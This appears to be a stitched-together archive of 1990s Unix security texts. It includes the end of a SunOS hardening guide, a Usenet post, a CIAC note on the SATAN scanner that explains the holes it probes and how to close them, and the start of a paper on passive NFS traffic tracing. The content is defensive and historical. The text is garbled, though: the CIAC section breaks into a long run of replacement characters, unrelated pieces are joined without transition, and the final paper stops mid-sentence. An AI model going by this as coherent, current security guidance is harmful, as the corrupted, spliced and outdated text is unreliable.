sendmail. For outgoing mail:
a. install latest version of sendmail.
. – see config 1 for thing to change in sendmail config.
– since mail delivery is being handled by main mail host
there is no need for /bin/mail so – chmod u-s /bin/mail
b. Install zmailer — Ref 8 [URL to zmailer package]
– zmailer does not use /bin/mail so chmod u-s /bin/mail

3. No need for mail whatsoever on this machine
(incoming, outgoing, or internal).
This is certainly most secure mode because e-mail will not be able to
be sent from or to this machine. This basic restriction of outside
access will prevent abuse of that access.
How:
To disable mail totally:
– chmod u-s /usr/lib/sendmail & /usr/lib/sendmail.mx & /bin/mail
– comment out the part of rc.local that starts sendmail

Packages to enable better monitoring and security:
————————

+ tripwire – Ref.13.
– Include all suid & sgid file in config.
– I’ve modified COPS script to check this with every run, awaiting
response from Dan Farmer if he minds my releasing script.
+ tcp wrappers – Ref.4.
+ Cops – Ref. 14
– Set up to run each night – be careful to check the
bitbucket output to ensure that it is working properly.
+ Modified portmapper, login, rshd, rlogind, pidentd from W. Venema
Ref. 15
+ TAMU tiger scripts – Ref. 16.

Note: the Australian group SERT has put together a package called
MegaPatch that includes several of these packages as well as many
of the patches to SunOS previously mentioned. Ref. 18
.
References
———-

[1] Dan Farmer & Wietse Venema, “Improving the security of your Site by
Breaking Into it”, 1993.
URL:ftp.win.tue.nl:/pub/security/admin-guide-to-cracking.Z

[2] W. Cheswick & S. Bellovin, “Firewalls and Internet Security,” Addison-
Wesley, April 94.

[3] H. Stern, “Managing NFS & NIS”, O’Reilly & Associates, April 92

[4] Wietse Venema, “TCP WRAPPER: Network monitoring, access control and
booby traps,” Proceedings of the Third Usenix Unix Security Symposium,
pg 85-92.
URL:ftp.win.tue.nl:/pub/security/tcp_wrapper.ps.Z (paper – .txt.Z avail)
URL:ftp.win.tue.nl:/pub/security/tcp_wrappers_6.3.shar.Z (package)

[5] Eric Oliver, “How to shadow without C2 Auditing”, June 94
URL:ftp.Hawaii.Edu:/????????

[6] [8lgm]-Advisory-7.UNIX.passwd.11-May-1994.NEWFIX

[7] Proactive password changing programs
(There are several this is the only one who’s URL I had available)
URL:info.mcs.anl.gov:/pub/systems/anlpasswd-2.2.tar.Z

[8] Zmailer package –
URL: cs.toronto.edu:/pub/zmailer.tar.Z
/pub/zmailer.README

[9] Bryan Costales, Eric Allman & Neil Rickert, “Sendmail,”
O’Reilly & Associates, June 93

8lgm advisories are avaiable though the 8lgm file server –
8lgm-fileserver@bagpuss.demon.co.uk
[10] [8lgm]-Advisory-5.UNIX.mail.24-Jan-1992
[11] [8lgm]-Advisory-5.UNIX.mail.24-Jan-1992.PATCH
[12] [8lgm]-Advisory-6.UNIX.mail2.2-May-1994

[13] Tripwire – Gene Kim & Gene Spafford 1994
URL:ftp.cs.purdue.edu:/pub/spaf/COAST/Tripwire

[14] Cops – Dan Farmer & Gene Spafford 1990
URL:ftp.cert.org:/pub/tools/cops

[15] portmapper, login, rshd, rlogind – Wietse Venema
URL:ftp.win.tue.nl:/pub/security/portmap.shar.Z
URL:ftp.win.tue.nl:/pub/security/logdaemon-XX.tar.Z

[16] TAMU tiger script. – Safford et al 93
URL:net.tamu.edu/pub/security/TAMU

[17] Local mail delivery agents:
URL:ftp.informatik.rwth-aachen.de:/pub/packages/procmail
URL:ftp —- ????? mail.local Joerg Czeranski

[18] MegaPatch – SERT
URL:ftp.sert.edu.au:/security/sert/tools/MegaPatch.1.7.tar.Z

[19] Source Routinng Patch –
URL:ftp.greatcircle.com:/pub/firewalls/digest/v03.n153.Z

Acknowledgements:
Thanks to all the people in comp.security.unix who offered their
suggestions, and thanks to the following people for their kind review:
casper@fwi.uva.nl (Casper Dik)
baron@uhunix.uhcc.Hawaii.Edu (Baron K Fujimoto)
rgoodman@uhunix.uhcc.Hawaii.Edu (Becky Goodman)
newsham@uhunix.uhcc.Hawaii.Edu (Tim Newsham)
andys@unipalm.co.uk (Andy Smith)

—— Other Thoughts for future development & other —
Didn’t have enough time to do these as well as I’d like.

+ disable routed (standard routing table)
Prevents receiving a false routing table.

+ remove /dev/nit?

+ Customizing ruserok() – a bit beyond the basics but here’s some info:
If you have source license to 4.1.3 modify the routine
ruserok() to return -1 for the cases you wish to disallow.
To disable .rhosts authentication entirely, simply have this routine
return -1. Look at the file /usr/lib/shlib.etc/README for how to modify
libc.so, note: also make the following changes:
in the file /usr/lib/shlib.etc/README below the line
% mv rpc_commondata. rpc_commondata.o
insert
% mv xccs.multibyte. xccs.multibyte.o
in the Makefile:
change the lines below to read as they do here:
OBJSORT=/usr/lib/shlib.etc/objsort
AWKFILE=/usr/lib/shlib.etc/awkfile
and add the -ldl option at the end of both ld command lines.

More info: ruserok(3), hosts.equiv(5)
source code file /lib/libc/net/rcmd.c Ref. 4, Ref. 15


tmk

———————————————————————–
Tom M. Kroeger Pray for wind
University of Hawaii Computing Center \ Pray for waves and
2565 The Mall, Keller Hall |\ Pray it’s your day off!
Honolulu HI 96822 (808) 956-2408 |~\
e-mail: tmk@uhunix.uhcc.hawaii.edu |__\
,—-+–

From shamel@mais.hydro.qc.ca Thu Jun 30 10:46:57 EDT 1994
Article: 35173 of comp.sys.sun.admin
Newsgroups: comp.sys.sun.admin,comp.sys.sun.apps,comp.sys.sun.wanted
Path: babbage.ece.uc.edu!news.kei.com!uhog.mit.edu!europa.eng.gtefsd.com!howland.reston.ans.net!spool.mu.edu!torn!utnut!utcsri!newsflash.concordia.ca!sifon!clouso.crim.ca!hobbit.ireq.hydro.qc.ca!shamel
From: shamel@mais.hydro.qc.ca (Stephane Hamel)
Subject: Re: System Administration Tools
Message-ID:
Followup-To: comp.sys.sun.admin,comp.sys.sun.apps,comp.sys.sun.wanted
Sender: news@ireq.hydro.qc.ca (Netnews Admin)
Organization: Hydro-Quebec, Montreal, Canada
X-Newsreader: TIN [version 1.2 PL2]
References: <Cs71I5.37C@csfb1.fir.fbc.com>
Date: Thu, 30 Jun 1994 12:37:30 GMT
Lines: 27
Xref: babbage.ece.uc.edu comp.sys.sun.admin:35173 comp.sys.sun.apps:8372 comp.sys.sun.wanted:5799

Since this topic often come’s around, I’ll make my draft copy of an extensive
document I am writting available for ftp (in PostScript format).

Be warned that it is still at an early stage, and probably contains lot’s of
bad english formulations (my mother language is french…).

But still, there is some valuable piece of information. And of course, I am
open to all comments, suggestions and extensions to the information contained
there.

The document is entitled “Management and monitoring tools in a distributed
heterogeneous client-server environment” available for ftp on
colt.mais.hydro.qc.ca (131.195.163.41) under /incoming/manmon.ps

\\\|///
\\ ~ ~ //
(/ @ @ /)
+————oOOo-(_)-oOOo———-+
| Stephane Hamel |
| Technical Advisor/System Admin. |
| Hydro-Quebec/TDSB |
| 680 Sherbrooke West, 2nd floor |
| Montreal, Qc (CANADA) H3C 4T8 |
| Phone : (514) 289-7916 |
| Fax : (514) 289-7926 |
| e-mail: shamel@mais.hydro.qc.ca |
+———————————–+

A Look at SATAN (Security Program) by John Fisher of the CIAC Team (March 29, 1995)

U.S. DOE’s Computer Incident Advisory Capability
___ __ __ _ ___ __ __ __ __ __
/ | /_\ / |\ | / \ | |_ /_
\___ __|__ / \ \___ | \| \__/ | |__ __/

Number 95-07 March 29, 1995

In order to provide timely, useful information on the upcoming release
of the SATAN tool, CIAC is releasing a special issue of CIAC
Notes. Please send your comments and feedback to ciac@llnl.gov.

$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$
$ Reference to any specific commercial product does not necessarily $
$ constitute or imply its endorsement, recommendation or favoring by $
$ CIAC, the University of California, or the United States Government.$
$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$

A Look at SATAN
John Fisher
CIAC Team
ciac@llnl.gov

Introduction

Security Administrator Tool for Analyzing Networks, or SATAN, is a
tool for investigating the vulnerabilities of remote systems.
Systematically moving through a given Internet subdomain, it
probes for weakness in each responding system. The vulnerabilities
uncovered are then reported to the user.

Due to be released April 5, SATAN is the joint work of Dan Farmer,
author of COPS (Computer Oracle and Password System), and Wietse
Venema, from the Eindhoven University of Technology in the
Netherlands. This project is a private effort on their part, and the
final product is to be freely available to anyone on the Internet.

Although it hasn’t hit the Internet yet, SATAN is guaranteed to have a
large impact on its security. SATAN is being promoted as a security
tool for system administrators, not an attack tool for
crackers. Unfortunately, it can be utilized in either manner. It is up
to system administrators to decide what its impact will be. The safety
of any particular system is dependent on who utilizes SATAN first.

Searching for system vulnerabilities is not a new idea. COPS will
report many common vulnerabilities on a single system, by analyzing
the system it resides on. Tools which probe for vulnerabilities on
remote systems are not a new idea either. The Internet Security
Scanner (ISS), written by Christopher Klaus, has been available in
both public and commerical versions for several years. While it
certainly simplified probing of remote systems, the public version was
not particularly powerful. It lacked a user interface, and provided a
limited set of attacks. In contrast, SATAN is considerably more
powerful, and utilizes a World Wide Web (WWW) client to provide a
friendly, point and click interface. Extensive information is provided
that explains what vulnerabilities are being identified, and how those
vulnerabilities can be removed.

How It Works

All information provided here relates to version 0.33 of the beta
release. SATAN is made up of HyperText Markup Language (HTML)
documents, C code, and Perl scripts which generate HTML code
dynamically. It requires an HTML viewer (Mosaic, Netscape, or Lynx), a
C compiler, and PERL version 5. The user simply interacts with a WWW
client, entering necessary data into forms. The control panel for
SATAN provides four hypertext options: Target Selection, Reporting &
Data Analysis, Documentation, and Configuration & Administration.

Through Target Selection, the user can enter a machine or a domain of
machines to attack, and the extent of the attack (Light, Normal,
Heavy). A Light attack will simply report what hosts are available,
and what Remote Procedure Call (RPC) services they offer. A Normal
attack will probe the targets by establishing finger, telnet, FTP,
WWW, gopher, and SMTP connections. These will be used to establish
what the operating system is, and what vulnerabilities may be
available. A Heavy attack will additionally search for several other
known vulnerabilities, such as writable anonymous ftp directories or
trusted hosts.

Once the targets and extent of probing are established, a simple mouse
click will begin the analysis. When finished, the user finds the
results in the Reporting & Data Analysis link.

SATAN is highly customizable and extendible. Through configuration
files, numerous default values can be modified. New probes to be
performed on each host may be added by writing a program (or
script) with the proper input and output, and naming it with an
extension of “.satan.” This will allow users to write their own
attacks tools, and add them to SATAN in a plug-and-play manner.

Protecting Against SATAN Attacks

By configuring a system correctly, installing all the latest patches,
and monitoring system usage, most of SATAN’s techniques can be
countered, or at a minimum detected. Unfortunately, complete
protection from SATAN is difficult. Most of the vulnerabilities it
looks for are easily addressable, but some do not yet have
satisfactory solutions.

Of course, the configuration problems should be addressed immediately,
once uncovered. The more serious vulnerabilities may be addressed by
stopping the vulnerable service, or placing a firewall around the
vulnerable set of hosts.

Below is a summary of vulnerabilities that SATAN exploits, chiefly
borrowed from the SATAN documentation itself. By effectively
addressing these vulnerabilities, system administrators can prevent
most attacks.

Unprivaleged NFS Access

NFS suffers from a poor authentication algorithm. The standard
authentication mechanism it uses, AUTH_UNIX, uses a UID, GID pair to
authorize that an NFS request is legitimate. But, NFS requests may be
spoofed by user programs, fooling NFS into granting file access to
arbitrary users. Although special authentication is done by AUTH_UNIX
for root privileges to a filesystem, this may be obtained as well.

This is not an easy problem to fix. Of course, make sure that all NFS
security patches have been installed. The best bet is to find a new
implementation of NFS, one which supports DES encryption, and utilizes
AUTH_DES authorization. A partial solution is to configure NFS so that
requests are only accepted from privileged system programs (making
spoofing more difficult). Then, a user must at least be root on a
remote system in order to send NFS requests.

NFS file systems exported to arbitrary hosts

File systems exported under NFS should be mountable only by a
restricted set of hosts. The UNIX “showmount” command will display
filesystems exported by a given host:

%/usr/etc/showmount -e hostname
export list for hostname:
/usr hosta:hostb:hostc
/usr/local (everyone)

The above output indicates that this NFS server is exporting two
partitions: /usr, which can be mounted by hosta, hostb, and hostc; and
/usr/local which can be mounted by anyone. In this case, access to the
/usr/local partition should be restricted.

Whenever possible, file systems should be exported
read-only. Regardless of the export privileges, a limited set of hosts
should be explicitly defined in the /etc/exports file. A sample file
might be as follows:

/usr -ro,access=hosta.domain:hostb.domain
/usr/local -access=hosta.domain

Here, /usr is available for read-only access by hosta and hostb.
/usr/local is available for read/write access, but only by
hosta. Consult the system manual entry for “exports” or “NFS” for more
information.

NFS file systems exported via the portmapper

On BSD systems, the portmap is used to convert TCP/IP protocol port
numbers into RPC program numbers. A host can gain access to another
host’s file systems by tricking its portmapper into making NFS
requests. Because NFS trusts the portmapper, one could gain access to
an exported file system. Since most exported file systems are user
home directories, this vulnerability can be used as a stepping stone
to gaining root access.

Several steps can be taken to avoid this vulnerability. First, a
portmapper should be used which does not forward mount requests, if
the host is a BSD system. Wietse Venema has written a more secure
portmapper, available at
ftp://ftp.win.tue.nl/pub/security/portmap_3.shar.Z. For System V based
systems, a similar tool has been written by Venema which is a
replacement for rpcbind. It may be found at
ftp://ftp.win.tue.nl/pub/security/rpcbind_1.1.tar.Z.

Second, more caution should be used when exporting file systems. File
systems should be exported as read-only when possible, and an export
list should not include the exporting server.

NIS password file access from arbitrary hosts

The NIS (Network Information Server) provides user information
(including encrypted passwords) to other hosts on a
network. Unfortunately, very little host authentication is performed,
and it is easy for external hosts to obtain user passwords (and other
information). A password cracker can then be used to obtain a login.

The best solution is to update NIS to provide some more complete
access control mechanisms. Unfortunately, not all vendors are
providing this yet. A portmapper with tighter access control
mechanisms may work as well. Several patches for NIS running on SunOS
are discussed in CIAC Bulletin C-25.

A strongly enforced policy for good passwords is probably as important
as a secure NIS. Several passwd alternatives are available which
require the user to enter more complex passwords, such as npasswd
(ftp://ftp.cc.utexas.edu/pub/npasswd/npasswd.tar.Z).

REXD access from arbitrary hosts

The UNIX remote execute server rexd provides only minimal
authentication and is easily subverted. It should be disabled by
placing a “#” at the beginning of the rexd line in the file
/etc/inetd.conf and then resetting the inetd process (“refresh -s
inetd” on AIX systems, killing and restarting inetd on others). The
disabled entry in /etc/inetd.conf should resemble the following:

#rexd/1 stream rcp/tcp wait root /usr/etc/rexd rexd

Arbitrary files accessible via TFTP

TFTP provides remote access to a host’s files without asking for a
password. While handy for booting diskless workstations, it is
inherently a very dangerous security problem, and there is infrequent
reason to use it. The best thing to do is to just disable completely,
by placing a “#” at the beginning of the tftp line in
/etc/inetd.conf. If that is not possible, only a limited portion of
the file system should be available to TFTP users. This can be done by
changing the root directory when the tftp daemon is executed. See the
tftpd documentation for more details.

Remote shell access from arbitrary hosts

By entering a “+” in the /etc/hosts.equiv, or “+ +” in /.rhosts, a
host can open itself up to the entire world. Anyone on the Internet
can log in without being asked for a password. This of course should
be avoided at all costs. Many systems are shipped in this manner, so
be sure to check.

The package logdaemon provides replacements for rlogind, rshd,
etc. They provide better handling of the hosts.equiv and .rhosts
files, such as the rejection of wildcards. The package can be found at
ftp://ftp.win.tue.nl/pub/security/logdaemon-4.7.tar.gz.

X server access control disabled

The X Windows client/server model is extremely powerful, but improper use
of its capabilities can lead to serious security problems. If access
control is disabled, via the “xhost +” command, any remote user will
be able to read/write screen information, control I/O behavior, and
even capture user keystrokes.

To avoid these problems, all “xhost +” commands should be removed from
the .Xsession file, each user’s .Xsession file, and any application
program or shell script that may contain it. The ability to access a
particular X server remotely should always be granted on a limited
basis. The xhost program should really be avoided entirely. Instead,
the xauth program should be used, using either MIT-MAGIC-COOKIE or
SUN-DES authentication. See the xauth man pages for more details.

Writable anonymous FTP home directory

If the permissions are set incorrectly on the anonymous FTP home
directory, any user may log in, and either add a .rhosts file (which
could allow a shell session), or may be able to replace files.

The best way to avoid this problem is to have all system files and
directories under the anonymous FTP home directory owned and writable
solely by root. Making “/bin/false” the shell will have the additional
effect of disallowing shell sessions with the ftp account.

For more information on securing anonymous FTP and other information
servers, see the CIAC Document CIAC-2308 R.2
(http://ciac.llnl.gov/ciac/documents/ciac2308.html).

The above information is fairly limited in details. The best source
for understanding the vulnerabilities exploited by SATAN is SATAN
itself. Every system administrator should read through the
documentation it provides, and understand how to cover the holes it
exploits.

CIAC has recently written a program to defend against SATAN and other
similar tools. The program, called Courtney, monitors the connections
to the ports probed by SATAN. When an attack by SATAN takes place, the
offending host will be reported. More information on this tool is
available at http://ciac.llnl.gov/ciac/ToolsUnixNetMon.html#Courtney.
Verify that the MD5 checksum of the compressed tar file has a value of
9fbc0142fdbe7911e63ae5905911e2c7.

CIAC offers several powerful tools to DOE and DOE contractors for
inspecting UNIX based systems, and offering additional protection
against SATAN. The Security Profile Inspector (SPI) provides a powerful
suite of security inspections, using a straightforward menu-based
interface. More information about SPI is available from
http://ciac.llnl.gov/cstc/CSTCProducts.html#spi. The Network Intrusion
Detector (NID) provides a suite of security tools for detecting and
analyzing network intrusions. More information on it is available from
http://ciac.llnl.gov/cstc/CSTCProducts.html#nid.

——————————
Who is CIAC?

CIAC is the U.S. Department of Energy’s Computer Incident Advisory
Capability. Established in 1989, shortly after the Internet Worm, CIAC
provides various computer security services free of charge to
employees and contractors of the DOE, such as:

. Incident Handling Consulting
. Computer Security Information
. On-site Workshops
. White-hat Audits

CIAC is located at Lawrence Livermore National Laboratory in
Livermore, California, and is a part of its Computer Security
Technology Center. Further information can be found at CIAC. CIAC is
also a founding member of FIRST, the Forum of Incident Response and
Security Teams, a global organization established to foster
cooperation and coordination among computer security teams
worldwide. See FIRST for more details.

——————————
Contacting CIAC

DOE and DOE contractor sites can contact CIAC at:
Voice: 510-422-8193
FAX: 510-423-8002
STU-III: 510-423-2604
E-mail: ciac@llnl.gov

For DOE and DOE contract site emergencies only, call 1-800-SKYPAGE
(1-800-759-7243) and enter PIN number 8550070 (primary) or 8550074
(secondary).

Previous CIAC notices, anti-virus software, and other information are
available via WWW (http://ciac.llnl.gov/) and anonymous FTP from
ciac.llnl.gov (IP address 128.115.19.53).

CIAC has several self-subscribing mailing lists for electronic
publications:

1. CIAC-BULLETIN for Advisories, highest priority – time critical
information and Bulletins, important computer security information;

2. CIAC-NOTES for Notes, a collection of computer security articles;

3. SPI-ANNOUNCE for official news about Security Profile Inspector
(SPI) software updates, new features, distribution and availability;

4. SPI-NOTES, for discussion of problems and solutions regarding the
use of SPI products.

Our mailing lists are managed by a public domain software package
called ListProcessor, which ignores E-mail header subject lines. To
subscribe (add yourself) to one of our mailing lists, send requests of
the following form:

subscribe list-name LastName, FirstName PhoneNumber

as the E-mail message body, substituting CIAC-BULLETIN, CIAC-NOTES,
SPI- ANNOUNCE or SPI-NOTES for list-name and valid information for
LastName FirstName and PhoneNumber. Send to: ciac-listproc@llnl.gov
(not to: ciac@llnl.gov) e.g.,

subscribe ciac-notes O’Hara, Scarlett W. 404-555-1212 x36
subscribe ciac-bulletin O’Hara, Scarlett����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������

NFS Tracing by Passive Network Monitoring, by Matt Blaze of the Dept. of Computer Science at Princeton

NFS Tracing By Passive Network Monitoring

Matt Blaze

Department of Computer Science Princeton University mab@cs.princeton.edu

ABSTRACT

Traces of filesystem activity have proven to be useful for a wide variety of
purposes, ranging from quantitative analysis of system behavior to
trace-driven simulation of filesystem algorithms. Such traces can be
difficult to obtain, however, usually entailing modification of the
filesystems to be monitored and runtime overhead for the period of the
trace. Largely because of these difficulties, a surprisingly small number of
filesystem traces have been conducted, and few sample workloads are
available to filesystem researchers.

This paper describes a portable toolkit for deriving approximate traces of
NFS [1] activity by non-intrusively monitoring the Ethernet traffic to and
from the file server. The toolkit uses a promiscuous Ethernet listener
interface (such as the Packetfilter[2]) to read and reconstruct NFS-related
RPC packets intended for the server. It produces traces of the NFS activity
as well as a plausible set of corresponding client system calls. The tool is
currently in use at Princeton and other sites, and is available via
anonymous ftp.

1. Motivation

Traces of real workloads form an important part of virtually all analysis of
computer system behavior, whether it is program hot spots, memory access
patterns, or filesystem activity that is being studied. In the case of
filesystem activity, obtaining useful traces is particularly challenging.
Filesystem behavior can span long time periods, often making it necessary to
collect huge traces over weeks or even months. Modification of the
filesystem to collect trace data is often difficult, and may result in
unacceptable runtime overhead. Distributed filesystems exa cerbate these
difficulties, especially when the network is composed of a large number of
heterogeneous machines. As a result of these difficulties, only a relatively
small number of traces of Unix filesystem workloads have been conducted,
primarily in computing research environments. [3], [4] and [5] are examples
of such traces.

Since distributed filesystems work by transmitting their activity over a
network, it would seem reasonable to obtain traces of such systems by
placing a “tap” on the network and collecting trace data based on the
network traffic. Ethernet[6] based networks lend themselves to this approach
particularly well, since traffic is broadcast to all machines connected to a
given subnetwork. A number of general-purpose network monitoring tools are
avail able that “promiscuously” listen to the Ethernet to which they are
connected; Sun’s etherfind[7] is an example of such a tool. While these
tools are useful for observing (and collecting statistics on) specific types
of packets, the information they provide is at too low a level to be useful
for building filesystem traces. Filesystem operations may span several
packets, and may be meaningful only in the context of other, previous
operations.

Some work has been done on characterizing the impact of NFS traffic on
network load. In [8], for example, the results of a study are reported in
which Ethernet traffic was monitored and statistics gathered on NFS
activity. While useful for understanding traffic patterns and developing a
queueing model of NFS loads, these previous stu dies do not use the network
traffic to analyze the file access traffic patterns of the system, focusing
instead on developing a statistical model of the individual packet sources,
destinations, and types.

This paper describes a toolkit for collecting traces of NFS file access
activity by monitoring Ethernet traffic. A “spy” machine with a promiscuous
Ethernet interface is connected to the same network as the file server. Each
NFS-related packet is analyzed and a trace is produced at an appropriate
level of detail. The tool can record the low level NFS calls themselves or
an approximation of the user-level system calls (open, close, etc.) that
triggered the activity.

We partition the problem of deriving NFS activity from raw network traffic
into two fairly distinct subprob lems: that of decoding the low-level NFS
operations from the packets on the network, and that of translating these
low-level commands back into user-level system calls. Hence, the toolkit
consists of two basic parts, an “RPC decoder” (rpcspy) and the “NFS
analyzer” (nfstrace). rpcspy communicates with a low-level network
monitoring facility (such as Sun’s NIT [9] or the Packetfilter [2]) to read
and reconstruct the RPC transactions (call and reply) that make up each NFS
command. nfstrace takes the output of rpcspy and reconstructs the sys tem
calls that occurred as well as other interesting data it can derive about
the structure of the filesystem, such as the mappings between NFS file
handles and Unix file names. Since there is not a clean one-to-one mapping
between system calls and lower-level NFS commands, nfstrace uses some simple
heuristics to guess a reasonable approximation of what really occurred.

1.1. A Spy’s View of the NFS Protocols

It is well beyond the scope of this paper to describe the protocols used by
NFS; for a detailed description of how NFS works, the reader is referred to
[10], [11], and [12]. What follows is a very brief overview of how NFS
activity translates into Ethernet packets.

An NFS network consists of servers, to which filesystems are physically
connected, and clients, which per form operations on remote server
filesystems as if the disks were locally connected. A particular machine can
be a client or a server or both. Clients mount remote server filesystems in
their local hierarchy just as they do local filesystems; from the user’s
perspective, files on NFS and local filesystems are (for the most part)
indistinguishable, and can be manipulated with the usual filesystem calls.

The interface between client and server is defined in terms of 17 remote
procedure call (RPC) operations. Remote files (and directories) are referred
to by a file handle that uniquely identifies the file to the server. There
are operations to read and write bytes of a file (read, write), obtain a
file’s attributes (getattr), obtain the contents of directories (lookup,
readdir), create files (create), and so forth. While most of these
operations are direct analogs of Unix system calls, notably absent are open
and close operations; no client state information is maintained at the
server, so there is no need to inform the server explicitly when a file is
in use. Clients can maintain buffer cache entries for NFS files, but must
verify that the blocks are still valid (by checking the last write time with
the getattr operation) before using the cached data.

An RPC transaction consists of a call message (with arguments) from the
client to the server and a reply mes sage (with return data) from the server
to the client. NFS RPC calls are transmitted using the UDP/IP connection
less unreliable datagram protocol[13]. The call message contains a unique
transaction identifier which is included in the reply message to enable the
client to match the reply with its call. The data in both messages is
encoded in an “external data representation” (XDR), which provides a
machine-independent standard for byte order, etc.

Note that the NFS server maintains no state information about its clients,
and knows nothing about the context of each operation outside of the
arguments to the operation itself.

2. The rpcspy Program

rpcspy is the interface to the system-dependent Ethernet monitoring
facility; it produces a trace of the RPC calls issued between a given set of
clients and servers. At present, there are versions of rpcspy for a number
of BSD-derived systems, including ULTRIX (with the Packetfilter[2]), SunOS
(with NIT[9]), and the IBM RT running AOS (with the Stanford enet filter).

For each RPC transaction monitored, rpcspy produces an ASCII record
containing a timestamp, the name of the server, the client, the length of
time the command took to execute, the name of the RPC command executed, and
the command- specific arguments and return data. Currently, rpcspy
understands and can decode the 17 NFS RPC commands, and there are hooks to
allow other RPC services (for example, NIS) to be added reasonably easily.

The output may be read directly or piped into another program (such as
nfstrace) for further analysis; the for mat is designed to be reasonably
friendly to both the human reader and other programs (such as nfstrace or
awk).

Since each RPC transaction consists of two messages, a call and a reply,
rpcspy waits until it receives both these components and emits a single
record for the entire transaction. The basic output format is 8 vertical-bar
separated fields:

timestamp | execution-time | server | client | command-name | arguments |
reply-data

where timestamp is the time the reply message was received, execution-time
is the time (in microseconds) that elapsed between the call and reply,
server is the name (or IP address) of the server, client is the name (or IP
address) of the client followed by the userid that issued the command,
command-name is the name of the particular program invoked (read, write,
getattr, etc.), and arguments and reply-data are the command dependent
arguments and return values passed to and from the RPC program,
respectively.

The exact format of the argument and reply data is dependent on the specific
command issued and the level of detail the user wants logged. For example, a
typical NFS command is recorded as follows:

690529992.167140 | 11717 | paramount | merckx.321 | read |
{“7b1f00000000083c”, 0, 8192} | ok, 1871

In this example, uid 321 at client “merckx” issued an NFS read command to
server “paramount”. The reply was issued at (Unix time) 690529992.167140
seconds; the call command occurred 11717 microseconds earlier. Three
arguments are logged for the read call: the file handle from which to read
(represented as a hexadecimal string), the offset from the beginning of the
file, and the number of bytes to read. In this example, 8192 bytes are
requested starting at the beginning (byte 0) of the file whose handle is
“7b1f00000000083c”. The command completed successfully (status “ok”), and
1871 bytes were returned. Of course, the reply message also included the
1871 bytes of data from the file, but that field of the reply is not logged
by rpcspy.

rpcspy has a number of configuration options to control which hosts and RPC
commands are traced, which call and reply fields are printed, which Ethernet
interfaces are tapped, how long to wait for reply messages, how long to run,
etc. While its primary function is to provide input for the nfstrace program
(see Section 3), judi cious use of these options (as well as such programs
as grep, awk, etc.) permit its use as a simple NFS diag nostic and
performance monitoring tool. A few screens of output give a surprisingly
informative snapshot of current NFS activity; we have identified quickly
using the program several problems that were otherwise difficult to
pinpoint. Similarly, a short awk script can provide a breakdown of the most
active clients, servers, and hosts over a sampled time period.

2.1. Implementation Issues

The basic function of rpcspy is to monitor the network, extract those
packets containing NFS data, and print the data in a useful format. Since
each RPC transaction consists of a call and a reply, rpcspy maintains a
table of pending call packets that are removed and emitted when the matching
reply arrives. In normal operation on a reasonably fast workstation, this
rarely requires more than about two megabytes of memory, even on a busy net
work with unusually slow file servers. Should a server go down, however, the
queue of pending call messages (which are never matched with a reply) can
quickly become a memory hog; the user can specify a maximum size the table
is allowed to reach before these “orphaned” calls are searched out and
reclaimed.

File handles pose special problems. While all NFS file handles are a fixed
size, the number of significant bits varies from implementation to
implementation; even within a vendor, two different releases of the same
operating system might use a completely different internal handle format. In
most Unix implementations, the handle contains a filesystem identifier and
the inode number of the file; this is sometimes augmented by additional
information, such as a version number. Since programs using rpcspy output
generally will use the handle as a unique file identifier, it is important
that there not appear to be more than one handle for the same file.
Unfortunately, it is not sufficient to simply consider the handle as a
bitstring of the maximum handle size, since many operating systems do not
zero out the unused extra bits before assigning the handle. Fortunately,
most servers are at least consistent in the sizes of the handles they
assign. rpcspy allows the user to specify (on the command line or in a
startup file) the handle size for each host to be monitored. The handles
from that server are emitted as hexadecimal strings truncated at that
length. If no size is specified, a guess is made based on a few common
formats of a reasonable size.

It is usually desirable to emit IP addresses of clients and servers as their
symbolic host names. An early ver sion of the software simply did a
nameserver lookup each time this was necessary; this quickly flooded the
network with a nameserver request for each NFS transaction. The current
version maintains a cache of host names; this requires a only a modest
amount of memory for typical networks of less than a few hundred hosts. For
very large networks or those where NFS service is provided to a large number
of remote hosts, this could still be a potential problem, but as a last
resort remote name resolution could be disabled or rpcspy configured to not
translate IP addresses.

UDP/IP datagrams may be fragmented among several packets if the datagram is
larger than the maximum size of a single Ethernet frame. rpcspy looks only
at the first fragment; in practice, fragmentation occurs only for the data
fields of NFS read and write transactions, which are ignored anyway.

3. nfstrace: The Filesystem Tracing Package

Although rpcspy provides a trace of the low-level NFS commands, it is not,
in and of itself, sufficient for obtaining useful filesystem traces. The
low-level commands do not by themselves reveal user-level activity. Furth
ermore, the volume of data that would need to be recorded is potentially
enormous, on the order of megabytes per hour. More useful would be an
abstraction of the user-level system calls underlying the NFS activity.

nfstrace is a filter for rpcspy that produces a log of a plausible set of
user level filesystem commands that could have triggered the monitored
activity. A record is produced each time a file is opened, giving a summary
of what occurred. This summary is detailed enough for analysis or for use as
input to a filesystem simulator.

The output format of nfstrace consists of 7 fields:

timestamp | command-time | direction | file-id | client | transferred | size

where timestamp is the time the open occurred, command-time is the length of
time between open and close, direc tion is either read or write (mkdir and
readdir count as write and read, respectively). file-id identifies the
